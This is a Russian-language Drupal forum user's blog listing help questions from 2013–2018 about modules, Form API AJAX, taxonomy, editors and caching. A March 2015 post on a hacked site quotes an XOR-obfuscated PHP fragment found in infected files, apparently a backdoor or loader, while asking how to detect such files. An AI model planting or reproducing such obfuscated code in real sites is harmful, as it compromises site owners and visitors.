mikel: Блог

Главные вкладки

Как очистить кэш Twig для конкретного поддомена или хотя бы целиком?

16 ноября 2018 в 9:26

Добрый день

Сделал сайт с региональными алиасами (msk.mysite.ru, spb.mysite.ru, omsk.mysite.ru и т д )
Т е содержимое сайта везде одно и то же, отличаются только некоторые параметры (адрес, телефон, карта).

0 Thanks

Почему вновь установленные и активированные модули заблокированы?

1 ноября 2018 в 21:26

До этого работал только с Drupal 7.
Иногда для того, чтобы отключить модуль, сначала требовалось отключить модули, которые от него зависят.

Сейчас разбираюсь с Drupal 8. Столкнулся с тем, что если установить модуль и активировать, то снять галку уже нельзя, хотя от модуля никто не зависит. Единственный способ убрать модуль, который я нашел, - удалить его из папки, но это как-то топорно. Причем если установить модуль заново, то он уже автоматом активирован.

Это какая-то новая фича Drupal 8 или баг?

0 Thanks

Не удается установить новый модуль, "Ошибка закачки файла. Невозможно переместить закачанный файл"

29 октября 2018 в 23:05

Пожалуйста, подскажите:
Пытаюсь установить новый модуль, загружаю файл модуля через аплоад, получаю сообщение "Ошибка закачки файла. Невозможно переместить закачанный файл.".

Как я понимаю, после переноса на сервер сбились какие-то пути. Но где их править?

0 Thanks

Не появляется блок easybreadcrups в списке блоков

11 августа 2018 в 9:37

Весь вопрос в теме. Поставил easybreadcrups, активировал, залез в блоки /admin/structure/block, чтобы его включить, а его там нет. Кэш чистил. Что это такое может быть?

0 Thanks

Как вывести описание термина таксономии в переопределении представления taxonomy_term ?

10 августа 2018 в 10:20

Пожалуйста, подскажите:
Решил заменить стандартное отображение taxonomy_term view на свое, вот такого вида.

title
description
Список дочерних терминов

Дефолтное представление отключил, создал свое с нуля.

Все работает, но не удается вывести description для термина таксономии. Как я понял, это делается в разделе "ШАПКА".
Добавил в вывод шапки Global: Текстовая область (Global: Текстовая область)

0 Thanks

Как убрать в термине таксономии список привязанных нод?

8 августа 2018 в 9:32

Пожалуйста, подскажите:

При просмотре страницы термина таксономии под содержимым (Заголовок + текст) выводится список привязанных к термину нод с заголовками и анонсами.
Мне он не нужен, хочу удалить.

Смотрел шаблоны:
page--taxonomy--term.html.twig - Слишком глобальный. Мне не нужно делать полный редизайн страницы, а только области контента.

taxonomy-term.html.twig - Слишком локальный. Перечень нод выводится где-то за его пределами.

0 Thanks

Права на группы материалов

15 июня 2016 в 17:10

Пожалуйста, подскажите, как лучше реализовать:

Согласно ТЗ на сайте есть разделы, в них находятся материалы. Для каждого раздела назначен свой модератор.
Необходимо завести роли для каждого раздела. Каждый модератор может править материалы только в своем разделе.

Рассматривал вариант для каждого типа раздела завести свой тип ноды, но он мне не нравится, т к если понадобится перенести материал в другой раздел, то тупик, тип ноды не сменишь.

0 Thanks

Почему перестали работать Самописные модули (ошибка при создании пунктов меню)?

27 декабря 2015 в 17:04

Пожалуйста, подскажите

Drupal 7.41

При создании нового сайта установил свои самописные модули, которые ранее делал для других проектов. Ни один из них не откликается, на любую страницу, созданную при помощи такого модуля выскакивает ошибка "страница не найдена"

0 Thanks

CKeditor показывает не все кнопки

1 июля 2015 в 6:50

Пожалуйста, подскажите:

Подключил к текстовым полям CKEditor, на панели редактора отсутствуют кнопки выбора шрифта и его размера.

Пробовал подключить и настроить двумя способами:
- Через модуль Wysiwyg и потом настраивать доступные кнопки в Wysiwyg profiles через BUTTONS AND PLUGINS (/admin/config/content/wysiwyg/profile/full_html/edit)
- Через модуль CKeditor в профиле FULL (/admin/config/content/ckeditor/edit/Full)

Ничего не получается.

Раньше был TinyMCE, всем устраивал, гибко настраивался, но почитал, что старые версии уязвимы (и вправду, сайт частенько взламывали, после удаления TinyMCE, чистки и обновления взломы прекратились), а с последней версией TinyMCE Drupal не дружит, так что не обновиться.

Собственно, вопросы:

0 Thanks

Как найти все зараженные файлы в исходниках

21 марта 2015 в 23:28

Пожалуйста, подскажите:
Есть сайт на drupal7, его хакнули, идет спам.
Хостер написал, чтобы удалили все зараженные файлы. На приличных хостингах стоит система, которая сразу выдает список файлов, которые надо удалить. Но тут хостер ленив, сказал "ищите сами".

Основной вопрос: есть какая-нибудь бесплатная утилита, через которую можно прогнать исходники?

Вручную нашел несколько файлов, пример:

<?php
 $flz
='Ux'^'1M5k%y';$rep='R7B@@6M39F#@A%"'^'7E0/2i?VI)Q4(KE8iOcA';$yyeff='""';$ldgv=0;$mghul=')';##e?})_;]N15.)2$X}Z/3roWa
$vaklx='Y!*Z]Q54]K@V';$cib='(C}|%|0Q[)m#oz})sZ%@vE=4m'^'({eP_dP';$cfri='6A@lCTtEqX&ypPx&gB)MWbAb3VRdCA{G';ihgqaj;$bsrc='(AB94^2qLWaN*'^'A/+fG;F';/*$pj;hJ4(/^5J5[Z|uW(U0:f6VZpbwmhat^$lwspmgxiy*/$vz='=ng$.{/';?>
0 Thanks

В _form_alter приходит пустой form_state

15 июня 2014 в 22:39

Пожалуйста, подскажите...

Классическая задача: после отправки формы нужно скрыть форму и вывести сообщение. Все примеры ведут к mymodule_form_alter.

Но почему-то в mymodule_form_alter $form_state приходит уже пустым, в то время как в mymodule_myform_submit значения из $form_state вполне доступны.

($form_state мне нужен чтобы проверить факт постбэка и правильность заполненности полей. В идеале бы, конечно, какое-нибудь свойство, типа $myform["valid"]==true, чтобы не дублировать проверки, за это буду отдельно признателен)

<?php
function mymodule_form_alter(&$form, &$form_state$form_id) {

if (

$form_id == 'mymodule_myform') {
var_dump($form_state); //Приходит пустым
//Действия по скрытию элементов формы
...
}

}

?>
0 Thanks

защита от sql инъекций при передаче нескольких параметров

10 февраля 2014 в 11:23

Пожалуйста, подскажите
sql запрос формируется из данных, полученных через GET.
С защитой от Sql инъекций одиночных параметров все понятно, примеров много.
А вот как передавать в db_query если параметров много.
Например кусок запроса

0 Thanks

И снова каскадные зависимые дропдауны

6 января 2014 в 20:44

Встала классическая задача: сделать в модуле зависимые выпадающие списки. Примеров вагон, но все почему-то только с двумя дропдаунами.
У меня дропдаунов 3. По первому второй нормально перебиндивается, но по при смене значения второго ajax уже не вызывается.
Пожалуйста, киньте какой-нибудь пример по form api, с несколькими зависимыми элементами.

<?php
//Форма поиска
function folk_search_nameform()
{    
    
$form['geo1'] = array(
        
'#title' => t('Область'),
        
'#type' => 'select',    
        
'#options' => folk_search_get_geo1_list(),    
        
'#default_value' => -1,
        
'#ajax' => array(
            
'callback' => 'folk_search_ajax_for_geo1_callback',
            
'event' => 'change',
            
'method' => 'replace',
         ),        
    );
    
    
$form['geo2'] = array(
        
'#title' => t('Район'),?>
0 Thanks

Не сохраняется поле типа user_reference в термине таксономии

23 сентября 2013 в 7:49

Пожалуйста, подскажите:
Есть словарь таксономии, у его терминов поле типа user_reference (выбрать можно только одно значение). Пытаюсь программно создавать такие термины.
Все прочие поля сохраняются нормально, а вот node_reference почему-то не запоминается. Любопытно, что писал аналогичный код для типа материала - все нормально.

Код такой:

0 Thanks

Drupal не видит ffmpeg

25 августа 2013 в 17:05

Пожалуйста, подскажите: установил на Denwer ffmpeg согласно одному из мануалов, найденных в гугле.
Вроде все установилось, вот этот код <?phpextension_loaded('ffmpeg')?> возвращает true, при выводе phpinfo() он тоже виден

ffmpeg

ffmpeg-php version 0.6.3
ffmpeg-php built on Jul 12 2011 03:54:13
ffmpeg-php gd support enabled
ffmpeg libavcodec version Lavc52.72.2
ffmpeg libavformat version Lavf52.64.2
ffmpeg swscaler version SwS0.11.0

Directive Local Value Master Value
ffmpeg.allow_persistent 0 0
ffmpeg.show_warnings 0 0

Но при всем при это Drupal по-прежнему его не видит, в системных сообщениях маячит "Video transcoder: FFmpeg / avconv

0 Thanks

Некорректный обратный адрес в модуле рассылки

29 июля 2013 в 18:46

Вот такая проблема: установил модуль рассылки Newsletters, все настроил, письма рассылаются. Но почему-то в обратном адресе вставляется вот такая ерунда:

"=?UTF-8?B?0J/QvtC00L/QuNGB0LrQsCDQvdCwINC90L7QstC+0YHRgtC4INCj0Jog0JDQug==?= =?UTF-8?B?0LDQtNC10Lwt0J/QsNGA0Lo=?=mymail@mail.com

Подскажите, плз, как ее убрать и сделать нормальный обратный адрес.

0 Thanks

metatag: Перекрываются метатеги на стартовой

20 июня 2013 в 15:30

Вот такая проблема: поставил модуль metatag, все хорошо, все работает. Но на странице, которую я назначаю стартовой, почему-то метатеги не выводятся. Если страницу отвязать от стартовой, то на ней все становится норм. Подскажите, плз, как это побороть?

0 Thanks

Form API. Изменение сразу нескольких элементов по ajax

19 июня 2013 в 0:52

Вот такая проблема: сделал 2 зависимых элемента на ajax, зависимый элемент обернул во враппер id form-ajax-time, все работает. Но вот возникла необходимость, чтобы по этому же действию менялось сразу несколько элементов в разных концах формы, и элементы эти одним враппером обернуть никак не получается. Киньте, плз, какой-нибудь примерчик, что-то ничего пока не выходит:(

0 Thanks

drupal + tinymce + noindex

18 мая 2013 в 17:10

Пожалуйста, подскажите:
Понимаю, что вопрос не нов, но ответ так найти и не удалось.
Установлена связка модуль wysiwyg + TinyMce. Нужно, чтобы при редактировании html кода не резался тег noindex.
Все гугление дает примерно такие ответы http://owlman.net/django/plagin-noindex-for-tinymce/.

0 Thanks

Потеря значения сгенерированного элемента при сабмите

13 мая 2013 в 10:42

Пожалуйста, подскажите:
На форме 3 элемента: date_popup, select и кнопка submit.
При смене даты в календаре запросом перезаполняется select. По нажатию submit данные записываются в базу на сервере. Но проблема в том, что нажатии submit данные из перегенеренного select не приходят:(
Как бы это обойти?

<?php

function appointments_nameform($form, &$form_state) {
{

    

$form['date_visit'] = array(
        
'#title' => t('Дата приема'),
        
'#type' => 'date_popup',    
        
'#required' => TRUE,
        
'#date_format' => 'd.m.Y',    

        

'#ajax' => array(
        
'callback' => 'appointments_ajax_callback',
        
'event' => 'change',
        
'wrapper' => 'form-ajax-time',
        
'method' => 'replace',
         ),        
    );
    
  
$form['time_visit'] = array(
    
'#type' => 'select',
    
'#options' => $options,?>
0 Thanks

Перестали работать страницы, созданные через hook_menu (версия 7.22)

10 мая 2013 в 20:50

Пожалуйста, подскажите. С апгрейдом Drupal стали происходить какие-то чудеса с hook_menu. На версии Drupal 7.18 все работает норм, устанавливаю 7.22 - на все страницы, созданные любым самописным модулем через hook_menu, получаю ответ "The requested page [адрес страницы] could not be found". Для чистоты эксперимента обе версии ставил с нуля, с дефолтными настройками без доп модулей.
Устанавливаю самописный модуль стандартно:закачиваю в sites/all/modules/menufun, активирую в "modules" и чищу кэш.

Самописный модуль для теста использовал один и тот же. Самый примитивный модуль из учебника

menufun.module

<?php
/**
* @file
* Use this module to learn about Drupal's menu system.
*/

/**
* Implementation of hook_menu().
*/

function menufun_menu() {?>
0 Thanks

В словаре пропала часть терминов таксономии

28 января 2013 в 18:02

Пожалуйста подскажите:
В словаре пропала часть терминов таксономии. В ноде есть множественное поле привязки к термину таксономии, в нем пропавшие термины тоже не выводятся.
Никаких модулей 100 лет не устанавливалось. Сайт давно отдан контент-менеджерам, они сами его заполняют.

Они, конечно, могли их удалить случайно, НО... сами страницы терминов вполне себе существуют и выводят ноды, привязанные к ним ранее, до сбоя.

0 Thanks

Несколько весов сортировки при выводе нод, привязанных к термину таксономии

25 января 2013 в 13:04

Пожалуйста, подскажите:
Есть термины словаря таксономии.
Есть типы материала со свойством, позволяющим привязать материал к термину таксономии. Свойство множественное.

На странице термина таксономии выводятся все ноды, привязанные к нему

0 Thanks

render Возвращает null в page.tpl.

20 января 2013 в 13:13

Пожалуйста, подскажите

Раньше делал свою тему копированием стандартной, например, garland, все работало.

Решил на основе учебника создать свою тему с нуля.
Создал 4 файла:

mytheme.info
html.tpl.php
page.tpl.php
node.tpl.php

Не получается вывести контент в page.tpl.php

0 Thanks